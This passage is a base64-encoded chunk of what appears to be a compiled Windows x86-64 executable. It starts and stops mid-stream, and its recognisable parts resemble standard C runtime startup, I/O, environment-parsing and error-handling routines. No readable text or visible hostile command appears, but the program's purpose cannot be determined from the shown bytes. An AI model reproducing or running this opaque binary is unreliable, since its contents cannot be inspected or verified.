R+zAADoyhMAAIXAdAiLy/8VDrMAAOhdKQAASI0VIlMAAEiNDQNTAADofv///4XAdVpIjQ2fCgAA6O4QAABIjR3XUgAASI092FIAAOsOSIsDSIXAdAL/0EiDwwhIO99y7UiDPcOyAAAAdB9IjQ26sgAA6F0TAACFwHQPRTPAM8lBjVAC/xWisgAAM8BIi1wkMEiDxCBfw8xIiVwkCEiJdCQQRIlEJBhXQVRBVUFWQVdIg+xARYvgi9pEi/m5CAAAAOheFQAAkIM9dqUAAAEPhAEBAADHBWKlAAABAAAARIglV6UAAIXbD4XUAAAASIsNILIAAP8V6lAAAEiL8EiJRCQwSIXAD4SjAAAASIsN+rEAAP8VzFAAAEiL+EiJRCQgTIv2SIl0JChMi+hIiUQkOEiD7whIiXwkIEg7/nJw6Cn4//9IOQd1AuvmSDv+cl9Iiw//FYxQAABIi9joDPj//0iJB//TSIsNqLEAAP8VclAAAEiL2EiLDZCxAAD/FWJQAABMO/N1BUw76HS8TIvzSIlcJChIi/NIiVwkMEyL6EiJRCQ4SIv4SIlEJCDrmkiNFZ9RAABIjQ2QUQAA6Lf9//9IjRWcUQAASI0NjVEAAOik/f//kEWF5HQPuQgAAADoQBMAAEWF5HUmxwVRpAAAAQAAALkIAAAA6CcTAABBi8/ow/z//0GLz/8Vzk8AAMxIi1wkcEiLdCR4SIPEQEFfQV5BXUFcX8PMRTPAQY1QAelk/v//M9IzyUSNQgHpV/7//8zMzEBTSIPsIIvZ6OspAACLy+iEJwAARTPAuf8AAABBjVAB6C/+///MzMxIiVwkCEiJbCQQSIl8JBhBVEFVQVZIgeyQAAAASI1MJCD/FXlPAAC6WAAAAI1qyIvN6Br7//9FM/ZIi9BIhcB1CIPI/+lrAgAASIkFSK4AAEgFAAsAAIvNiQ0yrgAASDvQc0VIg8IJSINK9/9mx0L/AApEiXIDZsdCLwAKxkIxCkSJckdEiHJDSIsFCa4AAEiDwlhIjUr3SAUACwAASDvIcsWLDeitAABmRDl0JGIPhDQBAABIi0QkaEiFwA+EJgEAAExjILsACAAATI1oBE0D5TkYD0wYO8sPjYcAAABIjT27rQAAulgAAABIi83oXvr//0iFwHRoixWTrQAASI2IAAsAAEiJBwPViRWBrQAASDvBc0FIjVAJSINK9/+AYi+AZsdC/wAKRIlyA2bHQjAKCkSJckdEiHJDSIsHSIPCWEiNSvdIBQALAABIO8hyyYsVO60AAEiDxwg703yI6waLHSutAABBi/6F2358SYM8JP90aEmDPCT+dGFB9kUAAXRaQfZFAAh1DkmLDCT/FQZOAACFwHRFSGPvSI0N+KwAALqgDwAASIvFg+UfSMH4BUhr7VhIAyzBSYsEJEiJRQBBikUASI1NEIhFCP8VwE0AAIXAD4Rp/v///0UM/8dJ/8VJg8QIO/t8hEWL5kmL3kiLPaOsAABIgzw7/3QRSIM8O/50CoBMOwiA6YUAAABBjUQk/8ZEOwiB99i49v///xvJg8H1RYXkD0TI/xVZTQAASIvoSIP4/3RNSIXAdEhIi8j/FVJNAACFwHQ7D7bASIksO4P4AnUHgEw7CEDrCoP4A3UFgEw7CAhIjUw7ELqgDwAA/xUZTQAAhcAPhML9////RDsM6w2ATDsIQEjHBDv+////SIPDWEH/xEiB+wgBAAAPjEj///+LDeSrAAD/Fc5MAAAzwEyNnCSQAAAASYtbIEmLayhJi3swSYvjQV5BXUFcw8zMSIlcJAhIiXQkEFdIg+wgSI0drqsAAL5AAAAASIs7SIX/dDdIjYcACwAA6x2DfwwAdApIjU8Q/xWYTAAASIsDSIPHWEgFAAsAAEg7+HLeSIsL6Gb3//9IgyMASIPDCEj/znW4SItcJDBIi3QkOEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXSIPsMIM9Ta0AAAB1BejSHAAASIsdb5oAADP/SIXbdRuDyP/ptAAAADw9dAL/x0iLy+j6JgAASI1cAwGKA4TAdeeNRwG6CAAAAEhjyOin9///SIv4SIkF7Z8AAEiFwHTASIsdIZoAAIA7AHRQSIvL6LwmAACAOz2NcAF0Lkhj7roBAAAASIvN6Gz3//9IiQdIhcB0c0yLw0iL1UiLyOgaJgAAhcB1S0iDxwhIY8ZIA9iAOwB1t0iLHcyZAABIi8vodPb//0iDJbyZAAAASIMnAMcFZqwAAAEAAAAzwEiLXCRASItsJEhIi3QkUEiDxDBfw0iDZCQgAEUzyUUzwDPSM8no6iEAAMxIiw06nwAA6CX2//9IgyUtnwAAAOkA////SIvESIlYCEiJaBBIiXAYSIl4IEFUQVVBVkiD7CBMi2wkYE2L8UmL+EGDZQAATIviSIvZQccBAQAAAEiF0nQHTIkCSYPECDPtgDsidREzwIXtQLYiD5TASP/Di+jrOUH/RQBIhf90B4oDiAdI/8cPtjNI/8OLzui5JgAAhcB0E0H/RQBIhf90B4oDiAdI/8dI/8NAhPZ0G4Xtda1AgP4gdAZAgP4JdaFIhf90CcZH/wDrA0j/yzP2gDsAD4TjAAAAgDsgdAWAOwl1BUj/w+vxgDsAD4TLAAAATYXkdAhJiTwkSYPECEH/BroBAAAAM8nrBUj/w//BgDtcdPaAOyJ1NoTKdR2F9nQOSI1DAYA4InUFSIvY6wszwDPShfYPlMCL8NHp6xH/yUiF/3QGxgdcSP/HQf9FAIXJdeuKA4TAdE+F9nUIPCB0RzwJdEOF0nQ3D77I6NwlAABIhf90G4XAdA6KA0j/w4gHSP/HQf9FAIoDiAdI/8frC4XAdAdI/8NB/0UAQf9FAEj/w+lZ////SIX/dAbGBwBI/8dB/0UA6RT///9NheR0BUmDJCQAQf8GSItcJEBIi2wkSEiLdCRQSIt8JFhIg8QgQV5BXUFcw8xIiVwkGEiJdCQgV0iD7DCDPVKqAAAAdQXo1xkAAEiNPXydAABBuAQBAAAzyUiL18YFbp4AAAD/FSxJAABIix1FqgAASIk9Lp0AAEiF23QFgDsAdQNIi99IjUQkSEyNTCRARTPAM9JIi8tIiUQkIOi9/f//SGN0JEBIuf////////8fSDvxc1xIY0wkSEiD+f9zUUiNFPFIO9FySEiLyujl8///SIv4SIXAdDhMjQTwSI1EJEhMjUwkQEiL10iLy0iJRCQg6Gf9//9Ei1wkQEiJPXOcAABB/8szwESJHWOcAADrA4PI/0iLXCRQSIt0JFhIg8QwX8PMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7ED/FWlIAABFM+RIi/hIhcAPhKkAAABIi9hmRDkgdBRIg8MCZkQ5I3X2SIPDAmZEOSN17EyJZCQ4SCvYTIlkJDBI0ftMi8Az0kSNSwEzyUSJZCQoTIlkJCD/FQpIAABIY+iFwHRRSIvN6Avz//9Ii/BIhcB0QUyJZCQ4TIlkJDBEjUsBTIvHM9IzyYlsJChIiUQkIP8Vz0cAAIXAdQtIi87ok/L//0mL9EiLz/8Vr0cAAEiLxusLSIvP/xWhRwAAM8BIi1wkUEiLbCRYSIt0JGBIi3wkaEiDxEBBXMNIiVwkCFdIg+wgSI0dm20AAEiNPZRtAADrDkiLA0iFwHQC/9BIg8MISDvfcu1Ii1wkMEiDxCBfw0iJXCQIV0iD7CBIjR1zbQAASI09bG0AAOsOSIsDSIXAdAL/0EiDwwhIO99y7UiLXCQwSIPEIF/DSIPsKEUzwLoAEAAAM8nHRCQwAgAAAP8VIEcAAEiJBSmcAABIhcB0Kf8VBkcAADwGcxpIiw0TnAAATI1EJDBBuQQAAAAz0v8V4EYAALgBAAAASIPEKMPMzEiD7ChIiw3pmwAA/xXbRgAASIMl25sAAABIg8Qow8zMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi/KL+ei27v//RTPJSIvYSIXAD4SMAQAASIuQoAAAAEiLyjk5dBBIjYLAAAAASIPBEEg7yHLsSI2CwAAAAEg7yHMEOTl0A0mLyUiFyQ+EUgEAAEyLQQhNhcAPhEUBAABJg/gFdQ1MiUkIQY1A/Ok0AQAASYP4AXUIg8j/6SYBAABIi6uoAAAASImzqAAAAIN5BAgPhfYAAAC6MAAAAEiLg6AAAABIg8IQTIlMAvhIgfrAAAAAfOeBOY4AAMCLu7AAAAB1D8eDsAAAAIMAAADppQAAAIE5kAAAwHUPx4OwAAAAgQAAAOmOAAAAgTmRAADAdQzHg7AAAACEAAAA63qBOZMAAMB1DMeDsAAAAIUAAADrZoE5jQAAwHUMx4OwAAAAggAAAOtSgTmPAADAdQzHg7AAAACGAAAA6z6BOZIAAMB1DMeDsAAAAIoAAADrKoE5tQIAwHUMx4OwAAAAjQAAAOsWgTm0AgDAi8e6jgAAAA9EwomDsAAAAIuTsAAAALkIAAAAQf/QibuwAAAA6wpMiUkIi0kEQf/QSImrqAAAAOnU/v//M8BIi1wkMEiLbCQ4SIt0JEBIg8QgX8O4Y3Nt4DvIdQeLyOkg/v//M8DDzEiJXCQYV0iD7CBIiwWHgwAASINkJDAASL8yot8tmSsAAEg7x3QMSPfQSIkFcIMAAOt2SI1MJDD/FctEAABIi1wkMP8VuEQAAESL2Ekz2/8VfEMAAESL2Ekz2/8VmEQAAEiNTCQ4RIvYSTPb/xV/RAAATItcJDhMM9tIuP///////wAATCPYSLgzot8tmSsAAEw730wPRNhMiR36ggAASffTTIkd+IIAAEiLXCRASIPEIF/DzIMl0aIAAADDSI0FjUYAAEiJAUiLAsZBEABIiUEISIvBw8zMzEiDeQgASI0FfEYAAEgPRUEIw8zMSIXSdFRIiVwkCEiJdCQQV0iD7CBIi/lIi8pIi9roeh4AAEiL8EiNSAHovgIAAEiJRwhIhcB0E0iNVgFMi8NIi8jo4h0AAMZHEAFIi1wkMEiLdCQ4SIPEIF/DzMxAU0iD7CCAeRAASIvZdAlIi0kI6DDu//9Ig2MIAMZDEABIg8QgW8PMSIlcJAhXSIPsIEiL+kiL2Ug7ynQh6L7///+AfxAAdA5Ii1cISIvL6FD////rCEiLRwhIiUMISIvDSItcJDBIg8QgX8NIjQWVRQAASIkB6YX////MSIlcJAhXSIPsIEiNBXtFAACL2kiL+UiJAehm////9sMBdAhIi8/oeQAAAEiLx0iLXCQwSIPEIF/DzMzMQFNIg+wgSINhCABIjQU+RQAASIvZSIkBxkEQAOhP////SIvDSIPEIFvDzMxIiVwkCFdIg+wgSI0FQ0UAAIvaSIv5SIkB6HYeAAD2wwF0CEiLz+gRAAAASIvHSItcJDBIg8QgX8PMzMzpI+3//8zMzEBTSIPsILoIAAAAjUoY6M3t//9Ii8hIi9j/FZlBAABIiQUSowAASIkFA6MAAEiF23UFjUMY6wZIgyMAM8BIg8QgW8PMSIlcJAhIiXQkEEiJfCQYQVRBVUFWSIPsIEyL8ejb7v//kEiLDcuiAAD/FZVBAABMi+BIiw2zogAA/xWFQQAASIvYSTvED4KbAAAASIv4SSv8TI1vCEmD/QgPgocAAABJi8zo3R4AAEiL8Ek7xXNVugAQAABIO8JID0LQSAPQSDvQchFJi8zole3//zPbSIXAdRrrAjPbSI1WIEg71nJJSYvM6Hnt//9IhcB0PEjB/wNIjRz4SIvI/xW3QAAASIkFMKIAAEmLzv8Vp0AAAEiJA0iNSwj/FZpAAABIiQULogAASYve6wIz2+gb7v//SIvDSItcJEBIi3QkSEiLfCRQSIPEIEFeQV1BXMPMzEiD7Cjo6/7//0j32BvA99j/yEiDxCjDzEiJXCQISIl0JBBXSIPsIEiL2UiD+eB3fL8BAAAASIXJSA9F+UiLDe2VAABIhcl1IOjDGgAAuR4AAADoWRgAALn/AAAA6Hft//9Iiw3IlQAATIvHM9L/Fd1AAABIi/BIhcB1LDkFn54AAHQOSIvL6E0AAACFwHQN66voVhEAAMcADAAAAOhLEQAAxwAMAAAASIvG6xLoJwAAAOg2EQAAxwAMAAAAM8BIi1wkMEiLdCQ4SIPEIF/DzMxIiQ1hlQAAw0BTSIPsIEiL2UiLDVCVAAD/Fco/AABIhcB0EEiLy//QhcB0B7gBAAAA6wIzwEiDxCBbw8xIiVwkEEiJfCQYVUiL7EiD7GBIi/pIi9lIjU3ASI0VmUIAAEG4QAAAAOhOHQAASI1VEEiLz0iJXehIiX3w6DIzAABMi9hIiUUQSIlF+EiF/3Qb9gcIuQBAmQF0BYlN4OsMi0XgTYXbD0TBiUXgRItF2ItVxItNwEyNTeD/Fcs/AABMjVwkYEmLWxhJi3sgSYvjXcPMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAASIHs2AQAAE0zwE0zyUiJZCQgTIlEJCjopjIAAEiBxNgEAADDzMzMzMzMZg8fRAAASIlMJAhIiVQkGESJRCQQScfBIAWTGesIzMzMzMzMZpDDzMzMzMzMZg8fhAAAAAAAw8zMzMzMzMzMzMzMzMzMzEiLwblNWgAAZjkIdAMzwMNIY0g8SAPIM8CBOVBFAAB1DLoLAgAAZjlRGA+UwPPDzExjQTxFM8lMi9JMA8FBD7dAFEUPt1gGSo1MABhFhdt0HotRDEw70nIKi0EIA8JMO9ByD0H/wUiDwShFO8ty4jPAw0iLwcPMzMzMzMzMzMzMSIPsKEyLwUyNDSLN//9Ji8noav///4XAdCJNK8FJi9BJi8noiP///0iFwHQPi0Akwegf99CD4AHrAjPASIPEKMPMzMxIiVwkCEiJdCQQSIl8JBhBVEiD7CBMjSWwfQAAM/Yz20mL/IN/CAF1JkhjxrqgDwAA/8ZIjQyASI0FHpMAAEiNDMhIiQ//FZk9AACFwHQm/8NIg8cQg/skfMm4AQAAAEiLXCQwSIt0JDhIi3wkQEiDxCBBXMNIY8NIA8BJgyTEADPA69tIiVwkCEiJbCQQSIl0JBhXSIPsIL8kAAAASI0dKH0AAIv3SIsrSIXtdBuDewgBdBVIi83/FT89AABIi83oH+j//0iDIwBIg8MQSP/OddRIjR37fAAASItL+EiFyXQLgzsBdQb/FQ89AABIg8MQSP/PdeNIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMSGPJSI0FtnwAAEgDyUiLDMhI/yVYPQAASIlcJAhIiXQkEEiJfCQYQVVIg+wgSGPZvgEAAABIgz37kQAAAHUX6NQWAACNTh3obBQAALn/AAAA6Irp//9Ii/tIA/9MjS1dfAAASYN8/QAAdASLxut5uSgAAADon+f//0iL2EiFwHUP6G4NAADHAAwAAAAzwOtYuQoAAADoZgAAAJBIi8tJg3z9AAB1LbqgDwAA/xUnPAAAhcB1F0iLy+gb5///6DINAADHAAwAAAAz9usNSYlc/QDrBugA5///kEiLDYB8AAD/FYo8AADrg0iLXCQwSIt0JDhIi3wkQEiDxCBBXcPMzEiJXCQIV0iD7CBIY9lIjT2sewAASAPbSIM83wB1Eej1/v//hcB1CI1IEejx6///SIsM30iLXCQwSIPEIF9I/yU0PAAA8P8BSIuBEAEAAEiFwHQD8P8ASIuBIAEAAEiFwHQD8P8ASIuBGAEAAEiFwHQD8P8ASIuBMAEAAEiFwHQD8P8ASI1BWEG4BgAAAEiNFWx9AABIOVDwdAtIixBIhdJ0A/D/AkiDePgAdAxIi1AISIXSdAPw/wJIg8AgSf/IdcxIi4FYAQAA8P+AYAEAAMNIhckPhJcAAABBg8n/8EQBCUiLgRABAABIhcB0BPBEAQhIi4EgAQAASIXAdATwRAEISIuBGAEAAEiFwHQE8EQBCEiLgTABAABIhcB0BPBEAQhIjUFYQbgGAAAASI0VznwAAEg5UPB0DEiLEEiF0nQE8EQBCkiDePgAdA1Ii1AISIXSdATwRAEKSIPAIEn/yHXKSIuBWAEAAPBEAYhgAQAASIvBw0iJXCQISIl0JBBXSIPsIEiLgSgBAABIi9lIhcB0eUiNDaeHAABIO8F0bUiLgxABAABIhcB0YYM4AHVcSIuLIAEAAEiFyXQWgzkAdRHoE+X//0iLiygBAADoTx8AAEiLixgBAABIhcl0FoM5AHUR6PHk//9Ii4soAQAA6MEeAABIi4sQAQAA6Nnk//9Ii4soAQAA6M3k//9Ii4MwAQAASIXAdEeDOAB1QkiLizgBAABIgen+AAAA6Knk//9Ii4tIAQAAv4AAAABIK8/oleT//0iLi1ABAABIK8/ohuT//0iLizABAADoeuT//0iLi1gBAABIjQWkewAASDvIdBqDuWABAAAAdRHoRRoAAEiLi1gBAADoTeT//0iNe1i+BgAAAEiNBWV7AABIOUfwdBJIiw9Ihcl0CoM5AHUF6CXk//9Ig3/4AHQTSItPCEiFyXQKgzkAdQXoC+T//0iDxyBI/851vkiLy0iLXCQwSIt0JDhIg8QgX+nr4///zMzMQFNIg+wgSIvaSIXSdEFIhcl0PEyLEUw70nQvSIkRSIvK6C79//9NhdJ0H0mLyuit/f//QYM6AHURSI0FoH0AAEw70HQF6Dr+//9Ii8PrAjPASIPEIFvDzEBTSIPsIOhp4f//SIvYi4jIAAAAhQ12hgAAdBhIg7jAAAAAAHQO6Enh//9Ii5jAAAAA6yu5DAAAAOh6/P//kEiNi8AAAABIixWbfgAA6Fb///9Ii9i5DAAAAOhZ+///SIXbdQiNSyDobOj//0iLw0iDxCBbw8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSI1ZHEiL6b4BAQAASIvLRIvGM9LoUx4AAEUz20iNfRBBjUsGQQ+3w0SJXQxMiV0EZvOrSI09Mn4AAEgr/YoEH4gDSP/DSP/OdfNIjY0dAQAAugABAACKBDmIAUj/wUj/ynXzSItcJDBIi2wkOEiLdCRASIPEIF/DSIvESIlYEEiJcBhIiXggVUiNqHj7//9IgeyABQAASIsFb3YAAEgzxEiJhXAEAABIi/GLSQRIjVQkUP8V9DcAALsAAQAAhcAPhDwBAAAzwEiNTCRwiAH/wEj/wTvDcvWKRCRWxkQkcCBIjXwkVuspD7ZXAUQPtsBEO8J3FkEr0EGLwEqNTARwRI1CAbIg6GIdAABIg8cCigeEwHXTi0YMg2QkOABMjUQkcIlEJDCLRgREi8uJRCQoSI2FcAIAALoBAAAAM8lIiUQkIOhZIwAAg2QkQACLRgSLVgyJRCQ4SI1FcIlcJDBIiUQkKEyNTCRwRIvDM8mJXCQg6DIhAACDZCRAAItGBItWDIlEJDhIjYVwAQAAiVwkMEiJRCQoTI1MJHBBuAACAAAzyYlcJCDo/SAAAEiNVXBMjYVwAQAASCvWTI2dcAIAAEiNTh1MK8ZB9gMBdAmACRCKRArj6w5B9gMCdBCACSBBikQI44iBAAEAAOsHxoEAAQAAAEj/wUmDwwJI/8t1yOs/M9JIjU4dRI1Cn0GNQCCD+Bl3CIAJEI1CIOsMQYP4GXcOgAkgjULgiIEAAQAA6wfGgQABAAAA/8JI/8E703LHSIuNcAQAAEgzzOjt1f//TI2cJIAFAABJi1sYSYtzIEmLeyhJi+Ndw0iJXCQQV0iD7CDocd7//0iL+IuIyAAAAIUNfoMAAHQTSIO4wAAAAAB0CUiLmLgAAADrbLkNAAAA6If5//+QSIufuAAAAEiJXCQwSDsd438AAHRCSIXbdBvw/wt1FkiNBaB7AABIi0wkMEg7yHQF6Cng//9IiwW6fwAASImHuAAAAEiLBax/AABIiUQkMPD/AEiLXCQwuQ0AAADoJfj//0iF23UIjUsg6Djl//9Ii8NIi1wkOEiDxCBfw8zMQFNIg+wgSIvZxkEYAEiF0nV/6K3d//9IiUMQSIuQwAAAAEiJE0iLiLgAAABIiUsISDsVAXsAAHQWi4DIAAAAhQWbggAAdQjoBPz//0iJA0iLBSJ/AABIOUMIdBtIi0MQi4jIAAAAhQ10ggAAdQno0f7//0iJQwhIi0MQ9oDIAAAAAnUUg4jIAAAAAsZDGAHrBw8QAvMPfwFIi8NIg8QgW8PMzMxAU0iD7ECL2UiNTCQgM9LoSP///4MlyYsAAACD+/51JccFuosAAAEAAAD/FcQ0AACAfCQ4AHRTSItMJDCDocgAAAD960WD+/11EscFkIsAAAEAAAD/FZI0AADr1IP7/HUUSItEJCDHBXSLAAABAAAAi0AE67uAfCQ4AHQMSItEJDCDoMgAAAD9i8NIg8RAW8NIiVwkGFVWV0FUQVVIg+xASIsFnXIAAEgzxEiJRCQ4SIvy6En///8z24v4hcB1DUiLzuhd+///6RYCAABMjS0RfgAAi8tIi+tJi8VBvAEAAAA5OA+EJgEAAEEDzEkD7EiDwDCD+QVy6YH/6P0AAA+EAwEAAIH/6f0AAA+E9wAAAA+3z/8V4zMAAIXAD4TmAAAASI1UJCCLz/8VtjMAAIXAD4TFAAAASI1OHDPSQbgBAQAA6F0ZAACJfgSJXgxEOWQkIA+GjAAAAEiNRCQmOFwkJnQtOFgBdCgPtjgPtkgBO/l3FSvPSI1UNx1BA8yACgRJA9RJK8x19UiDwAI4GHXTSI1GHrn+AAAAgAgISQPESSvMdfWLTgSB6aQDAAB0J4PpBHQbg+kNdA//yXQEi8PrGrgEBAAA6xO4EgQAAOsMuAQIAADrBbgRBAAAiUYMRIlmCOsDiV4ISI1+EA+3w7kGAAAAZvOr6d8AAAA5HeOJAAAPhbj+//+DyP/p1QAAAEiNThwz0kG4AQEAAOiEGAAATI1UbQBMjR2wfAAAScHiBL0EAAAAT41EKhBJi8hBOBh0MThZAXQsD7YRD7ZBATvQdxlMjUwyHUGKA0ED1EEIAQ+2QQFNA8w70HbsSIPBAjgZdc9Jg8AITQPcSSvsdbuJfgSB76QDAABEiWYIdCOD7wR0F4PvDXQL/891GrsEBAAA6xO7EgQAAOsMuwQIAADrBbsRBAAATCvWiV4MSI1OEEuNfCr0ugYAAAAPtwQPZokBSIPBAkkr1HXwSIvO6M75//8zwEiLTCQ4SDPM6IPR//9Ii5wkgAAAAEiDxEBBXUFcX15dw8zMzEiLxEiJWAhIiXAQSIl4GEyJYCBBVUiD7DCL+UGDzf/o9Nn//0iL8Ohs+///SIueuAAAAIvP6L78//9Ei+A7QwQPhHUBAAC5IAIAAOgk3P//SIvYM/9IhcAPhGIBAABIi5a4AAAASIvIQbggAgAA6HkOAACJO0iL00GLzOgI/f//RIvohcAPhQoBAABIi464AAAATI0lA3cAAPD/CXURSIuOuAAAAEk7zHQF6IXb//9IiZ64AAAA8P8D9obIAAAAAg+F+gAAAPYFZ34AAAEPhe0AAAC+DQAAAIvO6H30//+Qi0MEiQUHiAAAi0MIiQUCiAAAi0MMiQX9hwAAi9dMjQU4v///iVQkIIP6BX0VSGPKD7dESxBmQYmESKjIAAD/wuvii9eJVCQggfoBAQAAfRNIY8qKRBkcQoiEAYC5AAD/wuvhiXwkIIH/AAEAAH0WSGPPioQZHQEAAEKIhAGQugAA/8fr3kiLBWB6AADw/wh1EUiLDVR6AABJO8x0Beiy2v//SIkdQ3oAAPD/A4vO6Mny///rK4P4/3UmTI0l+3UAAEk73HQISIvL6Iba///onQAAAMcAFgAAAOsFM/9Ei+9Bi8VIi1wkQEiLdCRISIt8JFBMi2QkWEiDxDBBXcPMzEiD7CiDPWmQAAAAdRS5/f///+gJ/v//xwVTkAAAAQAAADPASIPEKMNMjQ29egAAM8BJi9FEjUAIOwp0K//ASQPQg/gtcvKNQe2D+BF3BrgNAAAAw4HBRP///7gWAAAAg/kOQQ9GwMNImEGLRMEEw8xIg+wo6DvX//9IhcB1CUiNBc97AADrBEiDwBBIg8Qow0iJXCQIV0iD7CBJi9hIi/pIhcl0HTPSSI1C4Ej38Ug7x3MP6Lj////HAAwAAAAzwOtdSA+v+bgBAAAASIX/SA9E+DPASIP/4HcYSIsN04MAAI1QCEyLx/8V5y4AAEiFwHUtgz2rjAAAAHQZSIvP6Fnu//+FwHXLSIXbdLLHAwwAAADrqkiF23QGxwMMAAAASItcJDBIg8QgX8PMzEiJXCQISIl0JBBXSIPsIEiL2kiL+UiFyXUKSIvK6E7t///rakiF0nUH6PrY///rXEiD+uB3Q0iLDUuDAAC4AQAAAEiF20gPRNhMi8cz0kyLy/8VmS4AAEiL8EiFwHVvOQUTjAAAdFBIi8vowe3//4XAdCtIg/vgdr1Ii8vor+3//+i+/v//xwAMAAAAM8BIi1wkMEiLdCQ4SIPEIF/D6KH+//9Ii9j/FTQtAACLyOhJ/v//iQPr1eiI/v//SIvY/xUbLQAAi8joMP7//4kDSIvG67vMSIPsKOgv1v//SIuI0AAAAEiFyXQE/9HrAOhSGgAASIPEKMPMSIPsKEiNDdH/////FbcsAABIiQXghAAASIPEKMPMzMxIiQ3ZhAAASIkN2oQAAEiJDduEAABIiQ3chAAAw8zMzEiLDcmEAABI/yXKLAAAzMxIiVwkEEiJdCQYV0FUQVVBVkFXSIPsMIvZM/+JfCRgM/aL0YPqAg+ExQAAAIPqAnRig+oCdE2D6gJ0WIPqA3RTg+oEdC6D6gZ0Fv/KdDXoqf3//8cAFgAAAOjeAwAA60BMjSVRhAAASIsNSoQAAOmMAAAATI0lToQAAEiLDUeEAADrfEyNJTaEAABIiw0vhAAA62zoqNT//0iL8EiFwHUIg8j/6XIBAABIi5CgAAAASIvKTGMF2y4AADlZBHQTSIPBEEmLwEjB4ARIA8JIO8hy6EmLwEjB4ARIA8JIO8hzBTlZBHQCM8lMjWEITYssJOsgTI0luIMAAEiLDbGDAAC/AQAAAIl8JGD/FborAABMi+hJg/0BdQczwOn8AAAATYXtdQpBjU0D6ODb///Mhf90CDPJ6NDv//+Qg/sIdBGD+wt0DIP7BHQHTIt8JCjrLEyLvqgAAABMiXwkKEiDpqgAAAAAg/sIdRNEi7awAAAAx4awAAAAjAAAAOsFRIt0JGCD+wh1OYsN/S0AAIvRiUwkIIsF9S0AAAPIO9F9KkhjykgDyUiLhqAAAABIg2TICAD/wolUJCCLDcwtAADr0+iN0v//SYkEJIX/dAczyeg27v//vwgAAAA733UNi5awAAAAi89B/9XrBYvLQf/VO990DoP7C3QJg/sED4UY////TIm+qAAAADvfD4UJ////RIm2sAAAAOn9/v//SItcJGhIi3QkcEiDxDBBX0FeQV1BXF/DzMxIiQ2dggAAw0iJDZ2CAADDSIkNnYIAAMNIiVwkEEiJdCQYVVdBVEiNrCQQ+///SIHs8AUAAEiLBXhpAABIM8RIiYXgBAAAQYv4i/KL2YP5/3QF6Hnm//+DZCRwAEiNTCR0M9JBuJQAAADophAAAEyNXCRwSI1FEEiNTRBMiVwkSEiJRCRQ/xWpKQAATIulCAEAAEiNVCRASYvMRTPA6K4dAABIhcB0N0iDZCQ4AEiLVCRASI1MJGBIiUwkMEiNTCRYTIvISIlMJChIjU0QTYvESIlMJCAzyehuHQAA6xxIi4UIBQAASImFCAEAAEiNhQgFAABIiYWoAAAASIuFCAUAAIl0JHCJfCR0SIlFgP8VCSkAADPJi/j/FfcoAABIjUwkSP8V5CgAAIXAdRCF/3UMg/v/dAeLy+iU5f//SIuN4AQAAEgzzOiZyf//TI2cJPAFAABJi1soSYtzMEmL40FcX13DzEiD7ChBuAEAAAC6FwQAwEGNSAHonP7///8VYigAALoXBADASIvISIPEKEj/JW8oAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsMEiL6UiLDf6AAABBi9lJi/hIi/L/Fc8oAABEi8tMi8dIi9ZIi81IhcB0IUyLVCRgTIlUJCD/0EiLXCRASItsJEhIi3QkUEiDxDBfw0iLRCRgSIlEJCDoXv///8zMSIPsOEiDZCQgAEUzyUUzwDPSM8nod////0iDxDjDzMxIiVwkCFdIg+wgSI0de3UAAL8KAAAASIsL/xX9JwAASIkDSIPDCEj/z3XrSItcJDBIg8QgX8PMzEyNBf03AAAzwEmL0DsKdA7/wEiDwhCD+BZy8TPAw0iYSAPASYtEwAjDzMzMSIlcJBBIiWwkGEiJdCQgV0FUQVVIgexQAgAASIsFBmcAAEgzxEiJhCRAAgAAi/nooP///zP2SIvYSIXAD4TuAQAAjU4D6CYZAACD+AEPhHUBAACNTgPoFRkAAIXAdQ2DPRp2AAABD4RcAQAAgf/8AAAAD4S4AQAASI0tuX8AAEG8FAMAAEyNBTw5AABIi81Bi9TobRgAADPJhcAPhRQBAABMjS3CfwAAQbgEAQAAZok1vYEAAEmL1f8VQigAAEGNfCTnhcB1KkyNBco4AACL10mLzegsGAAAhcB0FUUzyUUzwDPSM8lIiXQkIOjo/f//zEmLzejvFwAASP/ASIP4PHZHSYvN6N4XAABMjQV/OAAAQbkDAAAASI1MRbxIi8FJK8VI0fhIK/hIi9fo6BYAAIXAdBVFM8lFM8Az0jPJSIl0JCDokP3//8xMjQU0OAAASYvUSIvN6DUWAACFwHVBTIvDSYvUSIvN6CMWAACFwHUaSI0VwDcAAEG4ECABAEiLzegCFAAA6aUAAABFM8lFM8Az0jPJSIl0JCDoOf3//8xFM8lFM8Az0jPJSIl0JCDoJP3//8xFM8lFM8Az0kiJdCQg6BH9///MufT/////FUUmAABIi/hIhcB0VUiD+P90T4vWTI1EJECKC0GICGY5M3QR/8JJ/8BIg8MCgfr0AQAAcuVIjUwkQECItCQzAgAA6AMBAABMjUwkMEiNVCRASIvPTIvASIl0JCD/FcgmAABIi4wkQAIAAEgzzOgYxv//TI2cJFACAABJi1soSYtrMEmLczhJi+NBXUFcX8PMzMxIg+wouQMAAADoAhcAAIP4AXQXuQMAAADo8xYAAIXAdR2DPfhzAAABdRS5/AAAAOhs/f//uf8AAADoYv3//0iDxCjDzEBTSIPsIEiFyXQNSIXSdAhNhcB1HESIAeh79v//uxYAAACJGOiv/P//i8NIg8QgW8NMi8lNK8hBigBDiAQBSf/AhMB0BUj/ynXtSIXSdQ6IEehC9v//uyIAAADrxTPA68rMzMzMzMzMzMxmZg8fhAAAAAAASIvBSPfZSKkHAAAAdA9mkIoQSP/AhNJ0X6gHdfNJuP/+/v7+/v5+SbsAAQEBAQEBgUiLEE2LyEiDwAhMA8pI99JJM9FJI9N06EiLUPiE0nRRhPZ0R0jB6hCE0nQ5hPZ0L0jB6hCE0nQhhPZ0F8HqEITSdAqE9nW5SI1EAf/DSI1EAf7DSI1EAf3DSI1EAfzDSI1EAfvDSI1EAfrDSI1EAfnDSI1EAfjDSIlcJAhIiXQkEFdIg+xAi9pIi9FIjUwkIEGL+UGL8Ohc7///SItEJChED7bbQYR8Ax11H4X2dBVIi0QkIEiLiEABAABCD7cEWSPG6wIzwIXAdAW4AQAAAIB8JDgAdAxIi0wkMIOhyAAAAP1Ii1wkUEiLdCRYSIPEQF/DzIvRQbkEAAAARTPAM8npcv///8zMQFNIg+wwSIvZuQ4AAADo5ef//5BIi0MISIXAd